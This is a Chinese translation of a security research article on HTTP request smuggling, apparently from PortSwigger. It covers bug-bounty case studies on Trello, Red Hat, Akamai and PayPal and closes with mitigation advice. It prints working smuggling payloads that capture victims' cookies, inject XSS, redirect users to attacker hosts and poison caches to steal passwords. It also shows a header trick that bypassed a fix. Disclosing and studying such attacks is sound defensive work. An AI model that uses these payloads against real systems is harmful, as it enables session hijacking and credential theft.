通过构造特殊的HTTP包来夹送恶意的HTTP请求(下)

luochicun 技术 2019年8月28日发布
Favorite收藏

导语:传统上,HTTP请求通常被视为一个独立的主体。在本文中,我将会探讨一种已经被遗忘的技术,该技术可以让远程攻击者在未经身份验证的情况下,轻松攻击目标网络基础设施。

(接上文)

753498a08488-article-request-smuggling-article.png

请求存储

如果应用程序支持编辑或存储任何类型的文本数据,那么漏洞利用就非常容易。通过在受害者的请求前缀上加上一个精心设计的存储请求,我们可以让应用程序保存他们的请求并将其显示给我们,然后窃取任何身份验证cookie或标头。以下是使用其profile-edit编辑端点定位Trello的示例:

POST /1/cards HTTP/1.1
Host: trello.com
Transfer-Encoding:[tab]chunked
Content-Length: 4
9f
PUT /1/members/1234 HTTP/1.1
Host: trello.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400
x=x&csrf=1234&username=testzzz&bio=cake
0
GET / HTTP/1.1
Host: trello.com

一旦受害者的请求被我获取,它就会保存在我的个人资料中,进而暴露出他们所有的头部和cookie:

21.png

使用这种技术的唯一主要问题是你将丢失'&'之后产生的任何数据,这使得从表单编码的POST请求中窃取主体变得非常困难。我曾花了一些时间试图通过使用可选的请求编码来解决这个限制,但鉴于时间的限制,我最终还是放弃了。

数据存储的机会并不是很多,比如在另一个网站上,我使用了“联系我们”的形式,最终触发了一封包含受害者请求的电子邮件,并意外获得了2500美元。

攻击

能够将任意前缀应用于其他人的响应,也是另一种攻击途径,因为这种攻击方法可以触发被感染的响应。

触发被感染的响应的主要方式有两种,其中最简单的方法是发出一个“攻击”请求,然后等待其他人的请求到达后端套接字并触发有害响应。另外一个方法虽然很强大,但也很复杂,就是我们自己发出“攻击”和“受害者”请求,并希望对受害者请求的被污染响应通过Web缓存保存并提供给访问相同URL的任何其他人,目的是实现web缓存感染。

在下面的每个请求或响应片段中,黑色文本是对第二个(绿色)请求的响应。对第一个(蓝色)请求的响应被省略,因为攻击中用不到它。

升级XSS 

在审核SaaS应用程序时,Param Miner发现了一个名为SAML的参数,Burp的扫描器确认它很容易受到反射的XSS的攻击。反射XSS本身很好,但是难以大规模利用,因为它需要用户交互。

通过请求走私,我们可以将包含XSS的响应发送给任意一个浏览网站的人,从而实现直接的大规模利用。另外,我们还可以访问身份验证标头,并只访问HTTP cookie,这可能会让我们转向其他域。

POST / HTTP/1.1
Host: saas-app.com
Content-Length: 4
Transfer-Encoding : chunked
10
=x&cr={creative}&x=
66
POST /index.php HTTP/1.1
Host: saas-app.com
Content-Length: 200
SAML=a"><script>alert(1)</script>POST / HTTP/1.1
Host: saas-app.com
Cookie: …
HTTP/1.1 200 OK
…
<input name="SAML"   value="a"><script>alert(1)</script>
0
POST / HTTP/1.1
Host: saas-app.com
Cookie: …
"/>

捕获DOM

当我在www.redhat.com上寻找请求走私链的漏洞时,我发现了一个基于DOM的开放重定向,这是一个有趣的挑战:

GET /assets/idx?redir=//[email protected]/ HTTP/1.1
Host: www.redhat.com
HTTP/1.1 200 OK
<script>
var destination = getQueryParam('redir')
[poor filtering]
document.location = destination

页面上的一些JavaScript是从受害者浏览器的查询字符串中读取'redir'参数,但我如何控制该参数呢?请求走私可以让我们能够控制服务器需要的查询字符串,但问题是,受害者的浏览器对查询字符串的需要仅仅是他们试图访问的任何页面。

我能够通过链接服务器端非开放重定向来解决这个问题:

POST /css/style.css HTTP/1.1
Host: www.redhat.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 122
Transfer-Encoding: chunked

0

POST /search?dest=../assets/idx?redir=//[email protected]/ HTTP/1.1
Host: www.redhat.com
Content-Length: 15
x=GET /en/solutions HTTP/1.1
Host: www.redhat.com
HTTP/1.1 301 Found
Location: ../assets/idx?redir=//[email protected]/

受害者浏览器将收到301重定向到https://www.redhat.com/assets/x.html?redir=//[email protected]/,然后执行基于DOM的开放重定向并在evil.net上转储它们。

CDN链接

目前一些网站使用多层反向代理和CDN,这就给了我们提供了额外的机会去同步,这种机会一直是攻击者最喜欢的机会,并且通常也会增加严重性。

其中一个目标是以某种方式使用两层Akamai,尽管服务器来自同一个供应商,但仍有可能对它们进行去同步化处理,从而在受害者网站上的Akamai网络的任何地方提供内容:

POST /cow.jpg HTTP/1.1
Host: redacted.com 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 50 
Transfer-Encoding: chunked 
0 
GET / HTTP/1.1 
Host: www.redhat.com 
X: XGET...
Red Hat - We make open source technologies for the enterprise

同样的概念也适用于SaaS提供商,我能够利用一个构建在著名SaaS平台上的关键网站,将请求定向到构建在相同平台上的不同系统。

利用那些“无污染”的响应

因为请求走私允许我们影响对任意请求的响应,所以一些通常被认为是无法进行感染的行为也可以被加以利用。例如,即使是简单的开放重定向也可以通过将JavaScript导入重定向到恶意域来危害帐户。

使用307代码的重定向特别有用,因为发出POST请求后收到307代码的浏览器会将POST重新发送到新的目的地,这可能意味着你可以让不知情的受害者直接将明文密码发送到你的网站。

传统的开放重定向本身非常常见,但是有一种经过技术迭代的开放重定向则非常流行,因为它源于Apache和IIS中的默认行为。由于该技术是无害的,几乎每个人都忽略了它。究其原因,就是因为该技术没有像请求走私这样的额外附带的漏洞。如果你尝试访问没有斜杠的文件夹,服务器将使用重定向响应以使用主机头中的主机名附加斜杠:

POST /etc/libs/xyz.js HTTP/1.1
Host: redacted
Content-Length: 57
Transfer-Encoding: chunked
0
POST /etc HTTP/1.1
Host: burpcollaborator.net
X: XGET /etc/libs/xyz.js HTTP/1.1
HTTP/1.1 301 Moved Permanently
Location: https://burpcollaborator.net/etc/

使用此技术时,请密切关注重定向中使用的协议。你可以使用像X-Forwarded-SSL这样的标头来影响它。如果它停留在HTTP上,而你正在攻击HTTPS站点,则受害者的浏览器将因其混合内容保护而阻止连接。不过有两个已知的例外情况可以完全绕过Internet Explorer的混合内容保护,如果重定向目标位于其HSTS缓存中,Safari将自动升级到HTTPS的连接。

Web缓存感染

在针对特定网站尝试某些基于重定向的攻击几个小时后,我在浏览器中打开了他们的主页以查找更多攻击面并在开发控制台中发现以下漏洞:

27.png

无论我从哪台设备加载网站,这个漏洞都会发生,而且IP地址看起来也非常熟悉。在重定向探测期间,在我的受害者请求之前,已经有人发现了映像文件的请求,并且缓存保存了感染的响应。

这是潜在影响的一个很好的证明,但总的来说不是一个理想的结果。除了依赖基于超时的检测之外,没有办法完全消除意外缓存感染的可能性。也就是说,为了将风险降到最低,你可以采用以下缓解措施:

1.确保“受害者”请求有缓存器;

2.使用Turbo Intruder,尽快发送“受害者”请求。Turbo Intruder是一个从头开始构建的并充分考虑其执行速度的研究级开源Burp Suite扩展。此外我还讨论了有关基础HTTP滥用的例子在启用Turbo Intruder后其速度得到了显著的提升。因此你也可以在任何你编写的工具中获得类似的速度。

3.尝试创建一个前缀,以触发带有反缓存标头的响应,或者不太可能缓存的状态代码。

4.让目标前端在一个地理区域暂时休眠;

Web缓存欺骗

Web缓存欺骗这种攻击技术比较新颖危害也比较大,利用这种攻击技术攻击者可以泄露服务器上存储的用户敏感信息,甚至拿到用户的账户权限。当然,这种攻击技术与目标网站所使用的框架,缓存机制等因素有关。Web缓存欺骗,包括web框架以及缓存机制等在内的许多技术都会受到这种攻击的影响。攻击者可以使用这种方法提取web用户的私人及敏感信息,在某些场景中,攻击者利用这种方法甚至可以完全接管用户账户。Web应用框架涉及许多技术,这些技术存在缺省配置或脆弱性配置,这也是Web缓存欺骗攻击能够奏效的原因所在。

如果我们不尝试缓解攻击者或用户混淆响应缓存的机会,结果会怎样呢?

我们可以尝试使用受害者的Cookie获取包含敏感信息的响应,而不是使用旨在导致被污染响应的前缀:

POST / HTTP/1.1
Transfer-Encoding: blah
0
GET /account/settings HTTP/1.1
X: XGET /static/site.js HTTP/1.1
Cookie: sessionid=xyz

下图就是从前端的角度看到的结果:

GET /static/site.js HTTP/1.1
HTTP/1.1 200 OK
Your payment history
…

当用户对静态资源的请求命中感染套接字时,响应将包含其帐户详细信息,缓存将通过静态资源保存这些信息。然后,我们可以通过从缓存中加载/static/site.js来检索帐户详细信息。

这实际上是Web缓存欺骗攻击的一种新变体,该变体在两个关键方面变得更强大了,因为它不需要任何用户交互,也不需要目标站点允许你使用扩展。不过缺点就是,攻击者不能确定受害者的响应会发生在哪个位置。

对PayPal的攻击

由于请求走私会被链接到缓存感染,我能够持续劫持大量JavaScript文件。其中一个示例便是用于PayPal的登录页面:https://c.paypal.com/webstatic/r/fb/fb-all-prod.pp2.min.js。

POST /webstatic/r/fb/fb-all-prod.pp2.min.js HTTP/1.1 
Host: c.paypal.com
Content-Length: 61 
Transfer-Encoding: chunked
0
GET /webstatic HTTP/1.1
Host: skeletonscribe.net?
X: XGET /webstatic/r/fb/fb-all-prod.pp2.min.js HTTP/1.1 
Host: c.paypal.com
Connection: close
HTTP/1.1 302 Found
Location: http://skeletonscribe.net?, c.paypal.com/webstatic/

然而,有一个问题,就是PayPal的登录页面会使用内容安全策略与脚本src,阻止我的重定向。

31.png

从表面上看,这次防御似乎非常成功。但是,我注意到登录页面在动态生成的iframe中加载了c.paypal.com上的一个子页面。这个子页面没有使用CSP,而且还导入了我们感染的JS文件。这使我们能够完全控制iframe的内容,但由于同源策略,我们仍然无法从父页面读取用户的PayPal密码。

32.png

不过经过努力,我们还是在paypal.com/us/gifts上发现了一个不使用CSP的页面,还导入了我们感染的JS文件。通过使用JS将c.paypal.com iframe重定向到该URL(第三次触发JS导入),我们最终可以访问父节点,并从使用Safari或IE登录的所有用户那里窃取明文PayPal密码。

33.jpg

其实,PayPal可以通过配置Akamai来拒绝包含Transfer-Encoding:chunked标头的请求,为此,我还获得了18900美元的赏金。

几周之后,在研发和测试一些新的去同步技术时,我决定尝试使用换行标头来对新修复的措施进行一次攻击:

Transfer-Encoding:
 chunked

这似乎使得传输编码标头对Akamai完全不可见,不过Akamai可以让它通过并再一次授予我对PayPal登录页面的控制权。为此PayPal迅速应用了更强大的解决方案,并再次奖励了我20000美元。

另一个目标使用了一系列反向代理,其中一个不将'\ n'视为有效的标头终止符,这意味着他们的web基础设施中有相当大一部分容易受到请求走私的攻击。我已经录制了一个演示视频,展示了如何使用HTTP请求走私在Bugzilla安装的副本上有效地识别和利用这个漏洞,注意,该副本包含一些非常敏感的信息。Bugzilla 是一个开源的缺陷跟踪系统(Bug-Tracking System),它可以管理软件开发中缺陷的提交(new),修复(resolve),关闭(close)等整个生命周期。

缓解措施

通常功能越多,造成的攻击面就越多。如果你的网站没有负载均衡器、CDN和反向代理,这种技术就不构成威胁。相反,你引入的层越多,你就越容易受到攻击。

每当我讨论一种新的攻击技术时,都会有人问我HTTPS是否能阻止它。一如既往,答案是“不”。也就是说,你可以通过将前端服务器配置为只使用HTTP/2与后端系统通信,或者完全禁用后端连接重用来解决此漏洞的所有变体,或者,你可以确保连接中的所有服务器运行具有相同配置的相同web服务器软件。

本文中提到的这些特定实例可以通过重新配置前端服务器来解决,以便在路由模糊请求之前对其进行规范化。对于不想让客户受到攻击的CDN来说,这可能是唯一可行的解决方案。目前,Cloudflare和Fastly似乎已经应用了这一方案。

规范化请求不是后端服务器的选项,它们需要彻底拒绝模糊的请求,并删除关联的连接。由于拒绝请求比简单地将请求规范化更有可能影响合法的流量,所以我建议将重点放在防止通过前端服务器进行请求走私上。

工欲善其事必先利其器,目前大多数web测试工具在发送请求时都会自动“纠正”内容长度标头,从而无法进行请求走私。在Burp Suite中,你可以使用Repeater菜单禁用此行为,确保你选择的工具具有相同的功能。此外,某些公司和漏洞赏金平台会通过Squid之类的代理来测试他们的测试人员的流量以进行监控。这些将破坏测试人员发起的任何走私攻击请求,确保公司对此漏洞做到全面杜绝。Squid是一个高性能的代理缓存服务器,Squid支持FTP、gopher、HTTPS和HTTP协议。和一般的代理缓存软件不同,Squid用一个单独的、非模块化的、I/O驱动的进程来处理所有的客户端请求。

与大多数web漏洞不同,即使是有缺陷的请求走私攻击也会产生很大的危害作用。这使得运行很活跃的网站成为了走私攻击的泛滥之地。为了帮助缓解这个问题,我们发布了一个免费的学习资源帮助大家来预防这些攻击。

总结

基于多年来一直被忽视的研究,我引入了新的技术来对服务器进行去同步,并演示了利用大量真实网站作为案例研究的新方法。通过本文,我已经说明了请求走私是web的一个主要威胁,HTTP请求解析是一个安全关键函数。所以接受模糊的消息是危险的,另外,我还发布了一个实用方法和一个开源工具包,以帮助人们检测请求走私。

本文翻译自:https://portswigger.net/blog/http-desync-attacks-request-smuggling-reborn如若转载,请注明原文地址: https://www.4hou.com/technology/19667.html
点赞 2
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论